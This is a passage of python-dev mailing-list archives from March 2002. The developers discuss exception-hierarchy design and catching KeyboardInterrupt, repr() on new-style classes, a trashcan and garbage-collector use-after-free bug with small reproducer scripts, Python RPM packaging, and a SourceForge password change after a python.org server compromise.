> slightly.  (I guess I'd also vote that all exceptions inherit from
> Exception...)

You're looking at this all wrong.  In the past, we've focused on
saying "unqualified except is wrong".  But IMO "except Exception" or
"except StandardError" is just as wrong!  You're still catching way
more exceptions than is good for you.

In the few use cases where you really *do* want to catch (almost) all
exceptions, I think it's appropriate that you have to think about the
exceptions (pun intended).

>     Guido> There are too many different use cases to favor a
>     Guido> specific non-obvious; for example, the runcode() method
>     Guido> in class InteractiveInterpreter() in code.py needs to
>     Guido> catch all exceptions including KeyboardInterrupt but
>     Guido> excluding SystemExit.  Also note that StopIteration and
>     Guido> the warning categories don't derive from StandardError;
>     Guido> but if any of these is accidentally raised, I'd want my
>     Guido> "except:" clause to catch it!  And, while sometimes it's
>     Guido> confusing that SystemExit is caught by "except:", it's
>     Guido> really hard to debug why your program exits without any
>     Guido> warning or traceback when a rogue library function raises
>     Guido> SystemExit.
> 
> A couple comments on this:
> 
>     * I'm not saying you can't use "except:".  I'm not advocating a
>       semantic change to the meaning of "except:".  (I am suggesting
>       that KeyboardInterrupt should not inherit from StandardError.)
>       I'm saying that the recommended usage for application
>       programmers should be to avoid it.

Sorry.  I told you I hadn't read the thread the first time around.

>     * Special situations will always remain.  The point I'm trying
>       to make is that we should make it easier for application
>       programmers to write good code.  I don't think specialized
>       standard library code should be held up as typical usage.  I'd
>       prefer to have to modify pick over the entire standard library
>       (as I'm already doing) and have it be easier for Joe
>       Programmer to write robust application code than for code.py
>       to be easier to write and have JP naively write less robust
>       code.

We should fix the "except:" examples by catching a very specific
error, like AttributeError, TypeError or KeyError.  *Not* by catching
Exception or StandardError.

>     * I would hope there are no "rogue" functions in the standard
>       library.

No, but lots of users write them without thinking.  E.g. this would
seem a common idiom:

  def error(msg):
      print "ERROR:", msg
      sys.exit(1)

>       If so, we should fix them.  As to other people's
>       libraries, we can't do much.  SystemExit is a well-defined way
>       to exit the program.  If the rogue programmer felt SystemExit
>       was called for at that point, that's between him and the
>       person using his code.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pobrien@orbtech.com  Thu Mar 28 15:46:51 2002
From: pobrien@orbtech.com (Patrick K. O'Brien)
Date: Thu, 28 Mar 2002 09:46:51 -0600
Subject: [Python-Dev] repr(x) != x.__repr__()
In-Reply-To: <20020328152007.GA60857@hishome.net>
Message-ID: <NBBBIOJPGKJEKIECEMCBMEEJMKAA.pobrien@orbtech.com>

[Oren Tirosh]
> 
> This phenomenon is not really specific to repr(). It occurs with 
> new-style 
> classes when methods are assigned.  
> 
> Example:
> 
> class A(object):
>   def __repr__(self):
>     return 'abc'
> 
> >>>a = A()
> >>>a.__repr__ = lambda: 'abc'
> >>>repr(a)
> 'abc'
> >>>a.__repr__()
> '123'
> 

You've got a typo in there. Here is the fixed version:

>>> class A(object):
...     def __repr__(self):
...         return 'abc'
...     
>>> a = A()
>>> a.__repr__ = lambda: '123'
>>> repr(a)
'abc'
>>> a.__repr__()
'123'
>>> 

Of course, the odd behavior is still there.

---
Patrick K. O'Brien
Orbtech


From oren-py-d@hishome.net  Thu Mar 28 16:09:39 2002
From: oren-py-d@hishome.net (Oren Tirosh)
Date: Thu, 28 Mar 2002 11:09:39 -0500
Subject: [Python-Dev] repr(x) != x.__repr__()
In-Reply-To: <200203281528.g2SFSCp28873@odiug.zope.com>
References: <20020328152007.GA60857@hishome.net> <200203281528.g2SFSCp28873@odiug.zope.com>
Message-ID: <20020328160939.GA66539@hishome.net>

On Thu, Mar 28, 2002 at 10:28:12AM -0500, Guido van Rossum wrote:
> I'm probably going to reject this bug as "won't fix".  I specifically
> put code in the new classes to create this behavior.  It's partly a
> performance hack: many operations become much slower if they have to
> check the instance __dict__ first.  But I also believe it's poor

If this is by design it's ok. I suspected it might be an accidental result 
of the different internal structure of new style classes.

> check the instance __dict__ first.  But I also believe it's poor
> style to override a system operation on the instance rather than on
> the class.  

And if it's not a system operation?  Is method assignment in general 
considered poor style?  Something as vile and unspeakable as changing an 
object's __class__ at runtime?  ;-)

    Oren



From skip@pobox.com  Thu Mar 28 16:30:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 10:30:26 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281539.g2SFdFr29053@odiug.zope.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
Message-ID: <15523.17698.627234.411338@beluga.mojam.com>

    Guido> You're looking at this all wrong.  In the past, we've focused on
    Guido> saying "unqualified except is wrong".  But IMO "except Exception"
    Guido> or "except StandardError" is just as wrong!  You're still
    Guido> catching way more exceptions than is good for you.

Point taken.

    >> * I'm not saying you can't use "except:".  I'm not advocating a
    >>   semantic change to the meaning of "except:".  (I am suggesting that
    >>   KeyboardInterrupt should not inherit from StandardError.)  I'm
    >>   saying that the recommended usage for application programmers
    >>   should be to avoid it.

    Guido> Sorry.  I told you I hadn't read the thread the first time around.

So, do we agree on this point?

    Guido> We should fix the "except:" examples by catching a very specific
    Guido> error, like AttributeError, TypeError or KeyError.  *Not* by
    Guido> catching Exception or StandardError.

Correct.  That's what the long-standing bug #411881 is about.  It just deals
with the standard library however, and doesn't delve into the stuff in
Tools, Demos, etc.

Skip


From guido@python.org  Thu Mar 28 16:28:05 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 11:28:05 -0500
Subject: [Python-Dev] repr(x) != x.__repr__()
In-Reply-To: Your message of "Thu, 28 Mar 2002 11:09:39 EST."
 <20020328160939.GA66539@hishome.net>
References: <20020328152007.GA60857@hishome.net> <200203281528.g2SFSCp28873@odiug.zope.com>
 <20020328160939.GA66539@hishome.net>
Message-ID: <200203281628.g2SGS6J02498@odiug.zope.com>

> On Thu, Mar 28, 2002 at 10:28:12AM -0500, Guido van Rossum wrote:
> > I'm probably going to reject this bug as "won't fix".  I specifically
> > put code in the new classes to create this behavior.  It's partly a
> > performance hack: many operations become much slower if they have to
> > check the instance __dict__ first.  But I also believe it's poor
> 
> If this is by design it's ok. I suspected it might be an accidental result 
> of the different internal structure of new style classes.

Yes, I thought about it long and hard and decided that it should be a
feature.

> > check the instance __dict__ first.  But I also believe it's poor
> > style to override a system operation on the instance rather than on
> > the class.  
> 
> And if it's not a system operation?  Is method assignment in general 
> considered poor style?

That's up to the application.

> Something as vile and unspeakable as changing an 
> object's __class__ at runtime?  ;-)

I don't know what you're talking about. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 16:29:59 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 11:29:59 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 10:30:26 CST."
 <15523.17698.627234.411338@beluga.mojam.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net> <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net> <15523.12380.586153.516341@12-248-41-177.client.attbi.com> <200203281511.g2SFBHx28682@odiug.zope.com> <15523.14303.294454.831541@12-248-41-177.client.attbi.com> <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
Message-ID: <200203281630.g2SGTxe02517@odiug.zope.com>

>     Guido> Sorry.  I told you I hadn't read the thread the first time around.
> 
> So, do we agree on this point?

Yes, "except:" should catch all exceptions, and in the future (when we
can enforce the rule) so should "except Exception:".

>     Guido> We should fix the "except:" examples by catching a very specific
>     Guido> error, like AttributeError, TypeError or KeyError.  *Not* by
>     Guido> catching Exception or StandardError.
> 
> Correct.  That's what the long-standing bug #411881 is about.  It
> just deals with the standard library however, and doesn't delve into
> the stuff in Tools, Demos, etc.

That's OK.  But I don't understand why that bug would provide an
argument for special-casing KeyboardInterrupt.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Thu Mar 28 16:40:39 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 10:40:39 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281630.g2SGTxe02517@odiug.zope.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
 <200203281630.g2SGTxe02517@odiug.zope.com>
Message-ID: <15523.18311.480849.515410@beluga.mojam.com>

    >> Correct.  That's what the long-standing bug #411881 is about.  It
    >> just deals with the standard library however, and doesn't delve into
    >> the stuff in Tools, Demos, etc.

    Guido> That's OK.  But I don't understand why that bug would provide an
    Guido> argument for special-casing KeyboardInterrupt.

It doesn't.  It's just that KeyboardInterrupt is more like SystemExit than
like a real error condition.

Skip


From barry@zope.com  Thu Mar 28 16:48:55 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 11:48:55 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
Message-ID: <15523.18807.704324.666663@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    >> * I'm not saying you can't use "except:".  I'm not advocating a
    >> semantic change to the meaning of "except:".  (I am suggesting
    >> that KeyboardInterrupt should not inherit from StandardError.)
    >> I'm saying that the recommended usage for application
    >> programmers should be to avoid it.

    Guido> Sorry.  I told you I hadn't read the thread the first time
    Guido> around.

    SM> So, do we agree on this point?

There's definitely precedence for that, and I think you could argue
that a KeyboardInterrupt isn't an error the same way SystemExit and
StopIteration aren't errors.  I worry about backwards compatibility,
but I'll add this to the UPITS[1] Exception PEP 

(Does anybody else lament the lack of an inheritance diagram in the
exceptions module documentation?)

-Barry

[1] Uber Py-In-The-Sky


From skip@pobox.com  Thu Mar 28 17:15:17 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 11:15:17 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15523.18807.704324.666663@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
 <15523.18807.704324.666663@anthem.wooz.org>
Message-ID: <15523.20389.3313.738705@beluga.mojam.com>

    BAW> (Does anybody else lament the lack of an inheritance diagram in the
    BAW> exceptions module documentation?)

Try

    import exceptions
    help(exceptions)

Skip


From guido@python.org  Thu Mar 28 17:11:21 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 12:11:21 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 11:48:55 EST."
 <15523.18807.704324.666663@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org> <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net> <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net> <15523.12380.586153.516341@12-248-41-177.client.attbi.com> <200203281511.g2SFBHx28682@odiug.zope.com> <15523.14303.294454.831541@12-248-41-177.client.attbi.com> <200203281539.g2SFdFr29053@odiug.zope.com> <15523.17698.627234.411338@beluga.mojam.com>
 <15523.18807.704324.666663@anthem.wooz.org>
Message-ID: <200203281711.g2SHBLc11440@odiug.zope.com>

> (Does anybody else lament the lack of an inheritance diagram in the
> exceptions module documentation?)

I do lament it!  It's a shame that the only useful diagram is hidden
in a C source file.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pobrien@orbtech.com  Thu Mar 28 17:29:05 2002
From: pobrien@orbtech.com (Patrick K. O'Brien)
Date: Thu, 28 Mar 2002 11:29:05 -0600
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203281711.g2SHBLc11440@odiug.zope.com>
Message-ID: <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>

[Guido van Rossum]
> 
> > (Does anybody else lament the lack of an inheritance diagram in the
> > exceptions module documentation?)
> 
> I do lament it!  It's a shame that the only useful diagram is hidden
> in a C source file.

>>> import exceptions
>>> print exceptions.__doc__[1109:]
Exception
 |
 +-- SystemExit
 +-- StopIteration
 +-- StandardError
 |    |
 |    +-- KeyboardInterrupt
 |    +-- ImportError
 |    +-- EnvironmentError
 |    |    |
 |    |    +-- IOError
 |    |    +-- OSError
 |    |         |
 |    |         +-- WindowsError
 |    |
 |    +-- EOFError
 |    +-- RuntimeError
 |    |    |
 |    |    +-- NotImplementedError
 |    |
 |    +-- NameError
 |    |    |
 |    |    +-- UnboundLocalError
 |    |
 |    +-- AttributeError
 |    +-- SyntaxError
 |    |    |
 |    |    +-- IndentationError
 |    |         |
 |    |         +-- TabError
 |    |
 |    +-- TypeError
 |    +-- AssertionError
 |    +-- LookupError
 |    |    |
 |    |    +-- IndexError
 |    |    +-- KeyError
 |    |
 |    +-- ArithmeticError
 |    |    |
 |    |    +-- OverflowError
 |    |    +-- ZeroDivisionError
 |    |    +-- FloatingPointError
 |    |
 |    +-- ValueError
 |    |    |
 |    |    +-- UnicodeError
 |    |
 |    +-- ReferenceError
 |    +-- SystemError
 |    +-- MemoryError
 |
 +---Warning
      |
      +-- UserWarning
      +-- DeprecationWarning
      +-- SyntaxWarning
      +-- OverflowWarning
      +-- RuntimeWarning

Time machine appears to be working.

---
Patrick K. O'Brien
Orbtech


From skip@pobox.com  Thu Mar 28 17:46:23 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 28 Mar 2002 11:46:23 -0600
Subject: [Python-Dev] changing password at SF?
Message-ID: <15523.22255.763582.790464@beluga.mojam.com>

Didn't see this in the Python-SF-FAQ and SF's docs are pretty mum on the
subject...  How do I change the password I use when ssh-ing into SF
machines?  I used the [change password] form from my SF web page, but when I
ssh in to the compile farm it still wants my old password.  Running the
passwd command after logging into a compile farm machine results in
"authentication failure" using both my old and new passwords.  Is there
perhaps some other machine I should login to?

(For those of you not involved with the python.org website, this has
immediate practical implications, because it appears one of the python.org
machines was broken into.)

Thx,

Skip


From nas@python.ca  Thu Mar 28 17:53:38 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 28 Mar 2002 09:53:38 -0800
Subject: [Python-Dev] Re: Evil Trashcan and GC interaction
In-Reply-To: <E16qclg-0005t0-00@usw-sf-web1.sourceforge.net>; from noreply@sourceforge.net on Thu, Mar 28, 2002 at 08:28:52AM -0800
References: <E16qclg-0005t0-00@usw-sf-web1.sourceforge.net>
Message-ID: <20020328095337.A4436@glacier.arctrix.com>

Guido:
> Well, it *also* abuses the ob_refcnt field.

My patch fixes that too (by abusing the gc_prev pointer to chain trash
together).

> How about this wild idea (which Tim & I had simultaneously
> yesterday): change the trashcan code to simply leave the
> object in the GC generational list, and let the GC code
> special-case objects with zero refcnt so that they are
> eventually properly disposed?

That could probably work.  What happens when the GC is disabled?

There is insidious bug here.  Andrew helped me walk through it and I
think we figured it out.  First here's the code to trigger it:

    import gc

    class Ouch:
        def __del__(self):
            for x in range(20):
                list([])

    def f():
        gc.set_threshold(5)
        while 1:
            t = () # <-- here
            for i in range(300):
                t = [t, Ouch()]
    f()

The line marked with "here" is where things go wrong.  t used to refer
to a long chain of [t, Ouch()].  The SETLOCAL macro in ceval calls
Py_XDECREF(GETLOCAL(i)).  That starts the deallocation of the list
structure.  Ouch.__del__ gets called can creates some more objects,
triggering a collection.  The f frame's traverse gets called and tries
to follow the pointer for the t local.  It points to memory that was
freed by _PyTrash_destroy_chain.

Hmm, now that I think about it the GC is not needed to trigger the bug:

    import gc
    gc.disable()
    import sys

    class Ouch:
        def __del__(self):
            print f_frame.f_locals['t']

    def f():
        global f_frame
        f_frame = sys._getframe()
        while 1:
            t = ()
            for i in range(300):
                t = [t, Ouch()]

    f()

I haven't figured out the correct solution yet.  I'm just giving a
status update. :-)

  Neil


From Juergen Hermann" <j.her@t-online.de  Thu Mar 28 18:19:36 2002
From: Juergen Hermann" <j.her@t-online.de (Juergen Hermann)
Date: Thu, 28 Mar 2002 19:19:36 +0100
Subject: [Python-Dev] Discussion on the Python RPMs...
In-Reply-To: <20020327215900.D16962@tummy.com>
Message-ID: <16qeV0-22931UC@fwd07.sul.t-online.com>

On Wed, 27 Mar 2002 21:59:00 -0700, Sean Reifschneider wrote:

>I'd say that the packages themselves make it easy to switch back and fo=
rth
>between versions.  "rpm -e package; rpm -i /tmp/package-previous.rpm"..=
.

Not when you have dependencies, and when you want to run versions in
parallel.

Ciao, J=FCrgen




From barry@zope.com  Thu Mar 28 18:25:36 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 13:25:36 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
 <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>
 <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de>
 <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
 <200203281329.g2SDTDZ03671@pcp742651pcs.reston01.va.comcast.net>
 <15523.12380.586153.516341@12-248-41-177.client.attbi.com>
 <200203281511.g2SFBHx28682@odiug.zope.com>
 <15523.14303.294454.831541@12-248-41-177.client.attbi.com>
 <200203281539.g2SFdFr29053@odiug.zope.com>
 <15523.17698.627234.411338@beluga.mojam.com>
 <15523.18807.704324.666663@anthem.wooz.org>
 <15523.20389.3313.738705@beluga.mojam.com>
Message-ID: <15523.24608.182117.600333@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    BAW> (Does anybody else lament the lack of an inheritance diagram
    BAW> in the exceptions module documentation?)

    SM> Try

    |     import exceptions
    |     help(exceptions)

Ah, it would be nice to have this in the library reference manual.
-Barry




From tim.one@comcast.net  Thu Mar 28 18:33:49 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 28 Mar 2002 13:33:49 -0500
Subject: [Python-Dev] RE: Evil Trashcan and GC interaction
In-Reply-To: <20020328095337.A4436@glacier.arctrix.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHEEFECOAA.tim.one@comcast.net>

[Neil Schemenauer] [mailto:nas@python.ca]
> ...
> There is insidious bug here.  Andrew helped me walk through it and I
> think we figured it out.  First here's the code to trigger it:
> ...
>             t = () # <-- here
>...
> The line marked with "here" is where things go wrong.  t used to refer
> to a long chain of [t, Ouch()].  The SETLOCAL macro in ceval calls
> Py_XDECREF(GETLOCAL(i)).  That starts the deallocation of the list
> structure.  Ouch.__del__ gets called can creates some more objects,
> triggering a collection.  The f frame's traverse gets called and tries
> to follow the pointer for the t local.  It points to memory that was
> freed by _PyTrash_destroy_chain.

Yup.  Guido & I bumped into that earlier in current CVS.  The debug pymalloc
was a great help in showing instantly that the memory had already been
freed, and Guido immediately thought of ceval.c then.  We each patched
ceval.c locally; e.g., here's mine:

#define SETLOCAL(i, value)	do { PyObject *_t = GETLOCAL(i); 	\
				     GETLOCAL(i) = value;		\
				     Py_XDECREF(_t); } while (0)

> Hmm, now that I think about it the GC is not needed to trigger the bug:

True; this one is a very old bug, but one that simply never had a
consequence before <wink>.

Guido is seeing something stranger than I am now:  on Windows, assorted test
cases all pass now.  On Linux, the list (but not the tuple) test is dying
when releasing a lock(!).  This under current CVS (and may be due to the new
lock implementation on pthreads systems).



From jafo@tummy.com  Thu Mar 28 18:37:14 2002
From: jafo@tummy.com (Sean Reifschneider)
Date: Thu, 28 Mar 2002 11:37:14 -0700
Subject: [Python-Dev] Discussion on the Python RPMs...
In-Reply-To: <16qeV0-22931UC@fwd07.sul.t-online.com>; from j.her@t-online.de on Thu, Mar 28, 2002 at 07:19:36PM +0100
References: <20020327215900.D16962@tummy.com> <16qeV0-22931UC@fwd07.sul.t-online.com>
Message-ID: <20020328113714.B2363@tummy.com>

On Thu, Mar 28, 2002 at 07:19:36PM +0100, Juergen Hermann wrote:
>>I'd say that the packages themselves make it easy to switch back and forth
>>between versions.  "rpm -e package; rpm -i /tmp/package-previous.rpm"...
>
>Not when you have dependencies, and when you want to run versions in
>parallel.

"--nodeps" if you have dependencies...

As far as running two versions as the same time, I don't see how the
sym-link helps...  If both versions are looking for /usr/lib/python2.2, one
of them is gong to be suprised at what it finds there.

Sean
-- 
 Let us live!!!  Let us love!!!  Let us share the deepest secrets
 of our souls!!!       You first.
Sean Reifschneider, Inimitably Superfluous <jafo@tummy.com>
tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python


From barry@zope.com  Thu Mar 28 18:39:20 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 13:39:20 -0500
Subject: [Python-Dev] changing password at SF?
References: <15523.22255.763582.790464@beluga.mojam.com>
Message-ID: <15523.25432.711577.217005@anthem.wooz.org>

>>>>> "SM" == Skip Montanaro <skip@pobox.com> writes:

    SM> Didn't see this in the Python-SF-FAQ and SF's docs are pretty
    SM> mum on the subject...  How do I change the password I use when
    SM> ssh-ing into SF machines?  I used the [change password] form
    SM> from my SF web page, but when I ssh in to the compile farm it
    SM> still wants my old password.  Running the passwd command after
    SM> logging into a compile farm machine results in "authentication
    SM> failure" using both my old and new passwords.  Is there
    SM> perhaps some other machine I should login to?

    SM> (For those of you not involved with the python.org website,
    SM> this has immediate practical implications, because it appears
    SM> one of the python.org machines was broken into.)

The machine that was hacked was an ancient Solaris machine that hosted
the Ultraseek server, i.e. search.python.org.  I'm sure it was running
an ancient version of sshd and Apache, but I doubt that that machine
can be used to exploit other python.org machines.  So as long as you
didn't type your username and password in the basic auth window, I
don't think you're password is vulnerable.  I doubt you had an account
on that machine anyway (not sure though).

-Barry


From nas@python.ca  Thu Mar 28 18:45:14 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 28 Mar 2002 10:45:14 -0800
Subject: [Python-Dev] Re: Evil Trashcan and GC interaction
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHEEFECOAA.tim.one@comcast.net>; from tim.one@comcast.net on Thu, Mar 28, 2002 at 01:33:49PM -0500
References: <20020328095337.A4436@glacier.arctrix.com> <BIEJKCLHCIOIHAGOKOLHEEFECOAA.tim.one@comcast.net>
Message-ID: <20020328104514.A4929@glacier.arctrix.com>

Tim Peters wrote:
> We each patched ceval.c locally; e.g., here's mine:
> 
> #define SETLOCAL(i, value)	do { PyObject *_t = GETLOCAL(i); 	\
> 				     GETLOCAL(i) = value;		\
> 				     Py_XDECREF(_t); } while (0)

That's the same fix Andrew and I had in mind.  My concern is that this
is probably not the only bug of this type.  The trashcan mechanism
changes the ordering of object deallocation.  What are the chances of
other bugs like this lurking somewhere?

  Neil


From barry@zope.com  Thu Mar 28 18:42:12 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Mar 2002 13:42:12 -0500
Subject: [Python-Dev] Re: Evil Trashcan and GC interaction
References: <E16qclg-0005t0-00@usw-sf-web1.sourceforge.net>
 <20020328095337.A4436@glacier.arctrix.com>
Message-ID: <15523.25604.184940.979322@anthem.wooz.org>

>>>>> "NS" == Neil Schemenauer <nas@python.ca> writes:

    NS> There is insidious bug here.  Andrew helped me walk through it
    NS> and I think we figured it out.  First here's the code to
    NS> trigger it:

A simpler example:

    import gc

    class Ouch:
	def __del__(self):
	    gc.collect()

    def f():
	gc.set_threshold(5)
	while 1:
	    t = () # <-- here
	    for i in range(300):
		t = [t, Ouch()]
    f()

-Barry


From guido@python.org  Thu Mar 28 18:45:52 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 13:45:52 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 11:29:05 CST."
 <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>
References: <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>
Message-ID: <200203281845.g2SIjqY01097@odiug.zope.com>

----------
> > I do lament it!  It's a shame that the only useful diagram is hidden
> > in a C source file.
> 
> >>> import exceptions
> >>> print exceptions.__doc__[1109:]

Now, in addition, I lament the fact that we've got two disjointly
developed sets of documentation, fighting over who can be called
authoritative: doc strings and the HTML docs on the web. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 28 18:45:58 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 28 Mar 2002 13:45:58 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Thu, 28 Mar 2002 11:29:05 CST."
 <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>
References: <NBBBIOJPGKJEKIECEMCBMEFEMKAA.pobrien@orbtech.com>
Message-ID: <200203281845.g2SIjwo01100@odiug.zope.com>

----------
> > I do lament it!  It's a shame that the only useful diagram is hidden
> > in a C source file.
> 
> >>> import exceptions
> >>> print exceptions.__doc__[1109:]

Now, in addition, I lament the fact that we've got two disjointly
developed sets of documentation, fighting over who can be called
